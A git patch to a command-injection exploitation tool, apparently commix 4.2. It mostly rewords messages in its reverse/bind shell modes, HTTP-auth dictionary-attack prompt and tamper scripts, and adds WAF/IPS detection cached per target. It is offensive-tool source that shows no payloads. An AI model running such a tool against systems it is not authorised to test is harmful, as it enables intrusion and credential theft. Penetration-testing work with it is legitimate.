menu.options.failed_tries: warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " - warn_msg += "the option '--failed-tries' will be ignored." + warn_msg += "ignoring the option '--failed-tries'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Procced with file-based semiblind command injection technique, diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index aa285be34a..a5cc050421 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -643,7 +643,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec raise elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: - err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." + err_msg = "You need authorization to access this page: '" + settings.DEFINED_WEBROOT + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) checks.quit(filename, url, _ = False) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 0994dc7e4c..5c742b72f1 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -148,7 +148,7 @@ def _check_lagging(): settings.LAGGING_CHECKED = True if len(settings.RESPONSE_TIMES) > 1 and statistics.pstdev(settings.RESPONSE_TIMES) > settings.WARN_TIME_STDEV: length_suspect = lagging_detected = settings.JITTER_SEEN = True - warn_msg = "Considerable lagging has been detected in the connection response(s). " + warn_msg = "Detected considerable lagging in the connection response(s). " warn_msg += "Consider using a higher '--time-sec' value (e.g. '5' or more)." settings.print_data_to_stdout(settings.print_critical_msg(warn_msg)) @@ -620,9 +620,9 @@ def _extract_position(num_of_chars): boundary_char = chr(max(settings.CHAR_POOL_MULTI)) if output.count(boundary_char) >= 2 or conn_error_positions or lagging_detected: if threaded: - warn_msg = "The extracted data may be corrupted by concurrent (threaded) requests overloading the target. Consider re-running with '--threads=1' to confirm it." + warn_msg = "Concurrent (threaded) requests overloading the target may have corrupted the extracted data. Consider re-running with '--threads=1' to confirm it." else: - warn_msg = "The extracted data may be corrupted due to connection instability with the target. Consider re-running to confirm it." + warn_msg = "Connection instability with the target may have corrupted the extracted data. Consider re-running to confirm it." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) check_end = time.time() @@ -686,7 +686,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) tries = tries + 1 else: - err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." + err_msg = "Something went wrong. The request has failed (" + str(tries) + ") times in a row." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index f32f05e787..509b405660 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -34,17 +34,17 @@ def logfile_parser(): Warning message for mutiple request in same log file. """ def multi_requests(): - err_msg = "Multiple" + err_msg = "This tool does not support multiple" if menu.options.requestfile: err_msg += " requests" elif menu.options.logfile: err_msg += " targets" - err_msg += " are not supported, thus all coming" + err_msg += ", so it will ignore all coming" if menu.options.requestfile: - err_msg += " requests " + err_msg += " requests" elif menu.options.logfile: - err_msg += " targets " - err_msg += "will be ignored." + err_msg += " targets" + err_msg += "." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) return False @@ -68,7 +68,7 @@ def invalid_data(request): request_file = menu.options.logfile if not os.path.exists(request_file): - err_msg = "It seems the '" + request_file + "' file, does not exist." + err_msg = "It seems the '" + request_file + "' file does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index aebc19e55c..6d03f94990 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -138,7 +138,7 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m # The "os_shell" option elif os_shell_option == "os_shell": - warn_msg = "You are into the '" + os_shell_option + "' mode." + warn_msg = "You are in the '" + os_shell_option + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return go_back, go_back_again diff --git a/src/core/main.py b/src/core/main.py index 88ab9ded02..4ddd224933 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -511,7 +511,7 @@ def main(filename, url, http_request_method): if skip_tech_name in menu.options.skip_tech: menu.options.tech = menu.options.tech.replace(skip_tech_name, "") if len(menu.options.tech) == 0: - err_msg = "Detection procedure was aborted due to skipping all injection techniques." + err_msg = "Aborted the detection procedure due to skipping all injection techniques." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -550,7 +550,7 @@ def main(filename, url, http_request_method): # Check the file-destination if menu.options.file_write is not None and not menu.options.file_dest: - err_msg = "Host's absolute filepath to write, must be specified (i.e. '--file-dest')." + err_msg = "You must specify the host's absolute filepath to write (i.e. '--file-dest')." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -638,10 +638,10 @@ def main(filename, url, http_request_method): # Accidental stop / restart of the target host server. except (_http_client.BadStatusLine, SocketError) as err_msg: if any((settings.REVERSE_TCP, settings.BIND_TCP)): - err_msg = "Connection failed to be established." + err_msg = "Failed to establish a connection." else: err_msg = "The target host is not responding." - err_msg += " Please ensure that is up and try again." + err_msg += " Please ensure it is up and try again." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) if any((settings.REVERSE_TCP, settings.BIND_TCP)): @@ -751,7 +751,7 @@ def main(filename, url, http_request_method): settings.DEFAULT_CODEC = menu.options.codec.lower() if menu.options.header and len(menu.options.header.split(settings.END_LINE.ESCAPED_LF))> 1: - warn_msg = "Due to multiple provided HTTP headers, swithing '--header' to '--headers'." + warn_msg = "Due to multiple provided HTTP headers, switching '--header' to '--headers'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.method: @@ -916,7 +916,7 @@ def main(filename, url, http_request_method): if menu.options.tor: settings.TIMESEC = settings.TIMESEC * 2 warn_msg = "Increasing default value for option '--time-sec' to" - warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." + warn_msg += " " + str(settings.TIMESEC) + ", because you provided switch '--tor'." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.sitemap_url: @@ -927,7 +927,7 @@ def main(filename, url, http_request_method): if menu.options.crawl_exclude: if not settings.CRAWLING: - err_msg = "The '--crawl-exclude' option requires usage of '--crawl' option." + err_msg = "The '--crawl-exclude' option requires usage of the '--crawl' option." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: @@ -1011,12 +1011,12 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if not os.path.exists(bulkfile): - err_msg = "It seems the '" + os.path.split(bulkfile)[1] + "' file, does not exist." + err_msg = "It seems the '" + os.path.split(bulkfile)[1] + "' file does not exist." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif os.stat(bulkfile).st_size == 0: - err_msg = "It seems the '" + os.path.split(bulkfile)[1] + "' file, is empty." + err_msg = "It seems the '" + os.path.split(bulkfile)[1] + "' file is empty." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1240,7 +1240,7 @@ def main(filename, url, http_request_method): try: checks.user_aborted(filename, url) except NameError: - abort_msg = "User quit (Ctrl-C was pressed)." + abort_msg = "User quit (Ctrl-C pressed)." settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) raise checks.exit() diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 2f32851470..a8a06f122b 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -253,7 +253,7 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r # The "os_shell" option elif os_shell_option == "os_shell": - warn_msg = "You are into the '" + os_shell_option + "' mode." + warn_msg = "You are in the '" + os_shell_option + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return go_back, go_back_again diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 1591a0f703..c37a932460 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -40,7 +40,7 @@ """ def authentication_process(http_request_method): if not menu.options.auth_data: - err_msg = "The '--auth-url' option requires the '--auth-data' option to be provided too." + err_msg = "The '--auth-url' option requires you to also provide the '--auth-data' option." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -181,7 +181,7 @@ def http_auth_cracker(url, realm, http_request_method): err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - err_msg += "or place an other dictionary into '" + err_msg += "or place another dictionary in the '" err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory." settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_critical_msg(err_msg)) return False diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index f141397d92..b353ca74fa 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -234,7 +234,7 @@ def https_open(self, req): except ValueError as err: if settings.VERBOSITY_LEVEL < 2: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Invalid target URL has been given." + err_msg = "You provided an invalid target URL." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -351,7 +351,7 @@ def https_open(self, req): if stability.should_retry_connection_error(err): response = False continue - err_msg = "The target host is not responding. Please ensure that is up and try again." + err_msg = "The target host is not responding. Please ensure it is up and try again." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 7c2b432813..0f3a3af574 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -897,7 +897,7 @@ def find_occurrence(text, substring, n): def place_marker(text, value, occurrence, marker): index = find_occurrence(text, value, occurrence) if index == -1: - err_msg = "It seems the requested value could not be found in the provided data." + err_msg = "It seems the provided data does not contain the requested value." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() end = index + len(value) @@ -959,7 +959,7 @@ def insert_empty_multipart(text, parameter): pattern = r'name="' + re.escape(parameter.name) + r'"[^\r\n]*(\r\n\r\n|\n\n)' match = re.search(pattern, text) if not match: - err_msg = "It seems the empty field '" + parameter.name + "' could not be found in the provided data." + err_msg = "It seems the provided data does not contain the empty field '" + parameter.name + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() return text[:match.end()] + settings.INJECT_TAG + text[match.end():] diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 802ad56886..0abe2171a6 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -220,8 +220,8 @@ def estimate_response_time(url, timesec, http_request_method): # Basic authentication if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: - warn_msg = menu.options.auth_type.capitalize() + " " - warn_msg += "HTTP authentication credentials are required." + warn_msg = "This target requires " + menu.options.auth_type.lower() + " " + warn_msg += "HTTP authentication credentials." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: message = "Do you want to perform a dictionary-based attack? [Y/n] > " @@ -244,8 +244,8 @@ def estimate_response_time(url, timesec, http_request_method): # Digest authentication elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE: - warn_msg = menu.options.auth_type.capitalize() + " " - warn_msg += "HTTP authentication credentials are required." + warn_msg = "This target requires " + menu.options.auth_type.lower() + " " + warn_msg += "HTTP authentication credentials." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Check if failed to identify the realm attribute. if not realm: @@ -301,10 +301,10 @@ def _finish_response_time_estimate(diff, timesec): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) url_time_response = int(round(diff)) warn_msg = "Target's estimated response time is " + str(url_time_response) - warn_msg += " second" + "s"[url_time_response == 1:] + ". Data extraction may be delayed" + warn_msg += " second" + "s"[url_time_response == 1:] + ". This may delay" if url_time_response >= 3: - warn_msg += " and/or corrupted" - warn_msg += "." + warn_msg += " and/or corrupt" + warn_msg += " data extraction." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if int(timesec) == int(url_time_response): @@ -413,15 +413,14 @@ def request_failed(err_msg): # Likely transient noise, not a dead target. return True else: - error_msg = "The provided target URL seems not reachable. " + error_msg = "The provided target URL does not seem reachable. " items = [] if not menu.options.random_agent: items.append("'--random-agent' switch") if not any((menu.options.proxy, menu.options.ignore_proxy, menu.options.tor)): items.append("proxy switches ('--proxy', '--ignore-proxy'...).") if items: - error_msg += "In case that it is, " - error_msg += "you can try to rerun with " + error_msg += "It might still be reachable. Try rerunning with " error_msg += " and/or ".join(items) settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index ff0e590c59..41f85c8a35 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -29,7 +29,7 @@ """ def tor_connection_error(): - err_msg = "Tor connection could not be established. " + err_msg = "Could not establish a Tor connection. " err_msg += "Please ensure Tor is running and reachable" err_msg += " and that any provided options (e.g., '--tor-port') are correct." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index fbe67f5586..868948e0ce 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -492,7 +492,7 @@ def bind_tcp_options(separator): ) if bind_tcp_option.lower() == "bind_tcp": - warn_msg = "You are into '" + bind_tcp_option.lower() + "' mode." + warn_msg = "You are in '" + bind_tcp_option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue @@ -544,7 +544,7 @@ def configure_bind_tcp(separator): option = _input() if option.lower() == "bind_tcp": - warn_msg = "You are into the '" + option.lower() + "' mode." + warn_msg = "You are in the '" + option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue @@ -587,8 +587,8 @@ def configure_bind_tcp(separator): # LHOST is not supported in bind TCP mode. elif option[4:10].lower() == "lhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." + err_msg = "The '" + option[4:9].upper() + "' option is not " + err_msg += "usable for 'bind_tcp' mode. Use the 'RHOST' option." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) continue diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 7008aad96c..7ff5733d1c 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -734,7 +734,7 @@ def reverse_tcp_options(separator): ) if reverse_tcp_option.lower() == "reverse_tcp": - warn_msg = "You are into '" + reverse_tcp_option.lower() + "' mode." + warn_msg = "You are in '" + reverse_tcp_option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue @@ -786,7 +786,7 @@ def configure_reverse_tcp(separator): option = _input() if option.lower() == "reverse_tcp": - warn_msg = "You are into the '" + option.lower() + "' mode." + warn_msg = "You are in the '" + option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue @@ -829,8 +829,8 @@ def configure_reverse_tcp(separator): # RHOST is not supported in reverse TCP mode. elif option[4:10].lower() == "rhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." + err_msg = "The '" + option[4:9].upper() + "' option is not " + err_msg += "usable for 'reverse_tcp' mode. Use the 'LHOST' option." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) continue diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index decf2ac98e..62ab7b7f8a 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -30,7 +30,7 @@ def tamper(payload): if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): - err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." + err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work when combined with the tamper script 'space2plus'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index 23e0bf9b65..c69d57bc72 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -30,7 +30,7 @@ def tamper(payload): if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): - err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." + err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work when combined with the tamper script 'space2plus'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 22a5da16c6..b4e0e43f01 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -39,8 +39,8 @@ def tamper(payload): else: if not _warned_once: - warn_msg = "JSON data do not support the use of '" + __tamper__ + "', " - warn_msg += "which is ineffective for JSON payloads. Skipping tamper script." + warn_msg = "The tamper script '" + __tamper__ + "' is ineffective for JSON payloads. " + warn_msg += "Skipping tamper script." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) _warned_once = True diff --git a/src/utils/common.py b/src/utils/common.py index ab0d914a91..164167e74f 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -149,7 +149,7 @@ def running_as_admin(): def days_from_last_update(): days_from_last_update = int(time.time() - os.path.getmtime(settings.SETTINGS_PATH)) // (3600 * 24) if days_from_last_update > settings.NAGGING_DAYS: - warn_msg = "Last update " + str(days_from_last_update) + " days ago, update check is recommended." + warn_msg = "Last update " + str(days_from_last_update) + " days ago. Consider checking for updates." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -230,7 +230,7 @@ def create_github_issue(err_msg, exc_msg): info_msg = "That issue seems to be already reported" if closed: info_msg += " and resolved. Please update to the latest " - info_msg += "(dev) version from official GitHub repository at '" + info_msg += "(dev) version from the official GitHub repository at '" info_msg += settings.GIT_URL + "'" info_msg += "." settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) @@ -287,8 +287,8 @@ def unhandled_exception(): raise SystemExit() elif "must be pinned buffer, not bytearray" in exc_msg: - err_msg = "Error occurred at Python interpreter which " - err_msg += "is fixed in 2.7.x. Please update accordingly. " + err_msg = "Error occurred at Python interpreter. " + err_msg += "Python 2.7.x fixes this. Please update accordingly. " err_msg += "(Reference: https://bugs.python.org/issue8104)" settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -316,7 +316,7 @@ def unhandled_exception(): elif "Invalid argument" in exc_msg: err_msg = "Corrupted installation detected. " - err_msg += "You should retrieve the latest (dev) version from official GitHub " + err_msg += "You should retrieve the latest (dev) version from the official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -328,13 +328,13 @@ def unhandled_exception(): elif all(_ in exc_msg for _ in ("No such file", "_'")): err_msg = "Corrupted installation detected ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "'). " - err_msg += "You should retrieve the latest (dev) version from official GitHub " + err_msg += "You should retrieve the latest (dev) version from the official GitHub " err_msg += "repository at '" + settings.GIT_URL + "'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif "Invalid IPv6 URL" in exc_msg: - err_msg = "invalid URL ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "')" + err_msg = "Invalid URL ('" + exc_msg.strip().split(settings.END_LINE.LF)[-1] + "')" settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -383,8 +383,8 @@ def unhandled_exception(): else: err_msg = "Unhandled exception occurred in '" + settings.VERSION[1:] + "'. " - err_msg += "It is recommended to retry your run with the latest (dev) version from the official GitHub repository at '" + settings.GIT_URL + "'. " - err_msg += "If the issue still occurs, you can report it on GitHub by generating a sanitized report, that removes sensitive data, or by submitting the details manually." + settings.END_LINE.LF + err_msg += "We recommend retrying your run with the latest (dev) version from the official GitHub repository at '" + settings.GIT_URL + "'. " + err_msg += "If the issue still occurs, you can report it on GitHub by generating a sanitized report that removes sensitive data, or by submitting the details manually." + settings.END_LINE.LF err_msg += settings.SUB_CONTENT_SIGN_TYPE + " " + settings.APPLICATION.capitalize() + " version: " + settings.VERSION[1:] + settings.END_LINE.LF err_msg += settings.SUB_CONTENT_SIGN_TYPE + " Python version: " + settings.PYTHON_VERSION + settings.END_LINE.LF err_msg += settings.SUB_CONTENT_SIGN_TYPE + " Operating system: " + os.name + settings.END_LINE.LF diff --git a/src/utils/install.py b/src/utils/install.py index f22895a3dd..a4969a55c7 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -35,7 +35,7 @@ def remove(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - info_msg = settings.APPLICATION.capitalize() + " and all related components have been successfully removed." + info_msg = "Successfully removed " + settings.APPLICATION.capitalize() + " and all related components." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Abort for Unsupported Systems @@ -58,7 +58,7 @@ def installer(): abort_unsupported(packages, dependencies) if not common.running_as_admin(): - err_msg = "Administrative privileges are required to run this option." + err_msg = "This option requires administrative privileges to run." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -66,7 +66,7 @@ def installer(): launcher_path = os.path.join(settings.WRAPPER_PATH, settings.APPLICATION) if os.path.isdir(app_install_path): - warn_msg = "An existing installation of " + settings.APPLICATION + " was detected." + warn_msg = "Detected an existing installation of " + settings.APPLICATION + "." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) while True: @@ -126,7 +126,7 @@ def installer(): settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() - info_msg = "Installation has been completed." + info_msg = "Completed the installation." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # eof diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 55e862d466..1270f3f903 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -231,7 +231,7 @@ def import_injection_points(url, technique, injection_type, filename, separator, except sqlite3.OperationalError as err_msg: err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." - err_msg += " You are advised to rerun with switch '--flush-session'." + err_msg += " Rerun with switch '--flush-session'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) checks.quit(filename, url, _=False) diff --git a/src/utils/settings.py b/src/utils/settings.py index c38ab158e8..800a601f9a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -296,7 +296,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "76" +REVISION = "77" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1306,7 +1306,7 @@ class END_LINE: USE_BACKTICKS = False METASPLOIT_ERROR_MSG = "You need to have Metasploit installed. " -METASPLOIT_ERROR_MSG += "Please ensure Metasploit is installed in the right path." +METASPLOIT_ERROR_MSG += "Please ensure it is installed in the right path." # Target URL reload URL_RELOAD = False diff --git a/src/utils/update.py b/src/utils/update.py index 48385fdea1..b1b479cad4 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -69,12 +69,12 @@ def updater(): info_msg += settings.APPLICATION + " from GitHub repository. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.offline: - err_msg = "You cannot update " + settings.APPLICATION + " via GitHub without access on the Internet." + err_msg = "You cannot update " + settings.APPLICATION + " via GitHub without access to the Internet." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: - err_msg = "For updating purposes on Windows platform, it's recommended " + err_msg = "For updating purposes on the Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -94,7 +94,7 @@ def updater(): revision_num() os._exit(0) else: - err_msg = "The '.git' directory not found. Do it manually: " + err_msg = "The '.git' directory was not found. Do it manually: " err_msg += "'git clone " + settings.GIT_URL + " " + settings.APPLICATION + "' " settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -150,12 +150,12 @@ def unicorn_updater(current_version): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.offline: err_msg = "You cannot update TrustedSec's Magic Unicorn " - err_msg += "via GitHub without access on the Internet." + err_msg += "via GitHub without access to the Internet." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: - err_msg = "For updating purposes on Windows platform, it's recommended " + err_msg = "For updating purposes on the Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -207,10 +207,10 @@ def check_unicorn_version(current_version): ((int(current_version.replace(".", "")[:2]) == int(latest_version.replace(".", "")[:2])) and \ int(current_version.replace(".", "")[2:]) < int(latest_version.replace(".", "")[2:])): if len(current_version) != 0: - warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." + warn_msg = "The current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: - warn_msg = "TrustedSec's Magic Unicorn seems to be not installed." + warn_msg = "TrustedSec's Magic Unicorn does not seem to be installed." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: if len(current_version) == 0: diff --git a/src/utils/version.py b/src/utils/version.py index 937e9003c4..a4a7a56ea4 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -31,7 +31,7 @@ def python_version(): if PYTHON_VERSION.split(".")[0] != "3": warn_msg = "Deprecated Python version detected: " warn_msg += PYTHON_VERSION + ". " - warn_msg += "You are advised to re-run with Python 3." + warn_msg += "Re-run with Python 3." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) # eof \ No newline at end of file From 3ddf830e3a8addc4eba87aa777da4614f58fe681 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 19 Aug 2026 07:51:54 +0300 Subject: [PATCH 0734/1023] Improved WAF/IPS detection coverage, now cached per target across resumed scans --- doc/CHANGELOG.md | 3 +- src/core/injections/controller/checks.py | 41 ++++++++++++++++++----- src/core/main.py | 7 +++- src/core/requests/requests.py | 5 +++ src/utils/session_handler.py | 42 ++++++++++++++++++++++++ src/utils/settings.py | 19 ++++++++++- 6 files changed, 106 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 49f8b2d06c..11906117c9 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,5 +1,6 @@ ## Version 4.2 (TBA) -* Added: Interactive Ctrl-C handling during detection and exploitation, allowing the scan to skip the current technique, parameter, or target instead of aborting. +* Revised: Improved WAF/IPS detection coverage, now cached per target across resumed scans. +* Added: Interactive Ctrl-C handling during detection and exploitation, with cleaner exit handling. * Fixed: Multiple bug-fixes improving detection accuracy and reliability for results-based techniques. * Fixed: Improved timing-delay reliability and thread-safety for time-related techniques. * Revised: Improved redirect handling and connection performance. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 2ba9654e69..1e54071125 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -72,6 +72,30 @@ def exit(): settings.print_data_to_stdout(settings.execution("Ending")) os._exit(0) +""" +Persist a new WAF/IPS finding when possible; defer the import to avoid a circular dependency. +""" +def _persist_waf_finding(): + if menu.options.ignore_session or not settings.TARGET_NETLOC: + return + from src.utils import session_handler + session_handler.import_waf_status(settings.TARGET_NETLOC, True) + +""" +Flags the target as WAF/IPS-protected on a block-like HTTP status code. +""" +def detect_waf(err_code): + if str(err_code) in settings.WAF_BLOCK_HTTP_CODES and \ + not menu.options.skip_waf and \ + not settings.HOST_INJECTION: + if not settings.WAF_ENABLED: + warn_msg = "It seems some kind of WAF/IPS is protecting the target." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.WAF_ENABLED = True + _persist_waf_finding() + return True + return False + """ Detection of WAF/IPS protection. """ @@ -843,7 +867,10 @@ def get_header(headers, key): Checks regarding a recognition of generic "your ip has been blocked" messages. """ def blocked_ip(page): - if re.search(settings.BLOCKED_IP_REGEX, page): + if not settings.BLOCKED_IP_DETECTED and re.search(settings.BLOCKED_IP_REGEX, page): + settings.BLOCKED_IP_DETECTED = True + settings.WAF_ENABLED = True + _persist_waf_finding() warn_msg = "It appears the target server has blocked you." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) @@ -853,6 +880,8 @@ def blocked_ip(page): def browser_verification(page): if not settings.BROWSER_VERIFICATION and re.search(r"(?i)browser.?verification", page or ""): settings.BROWSER_VERIFICATION = True + settings.WAF_ENABLED = True + _persist_waf_finding() warn_msg = "Potential browser verification protection mechanism detected" if 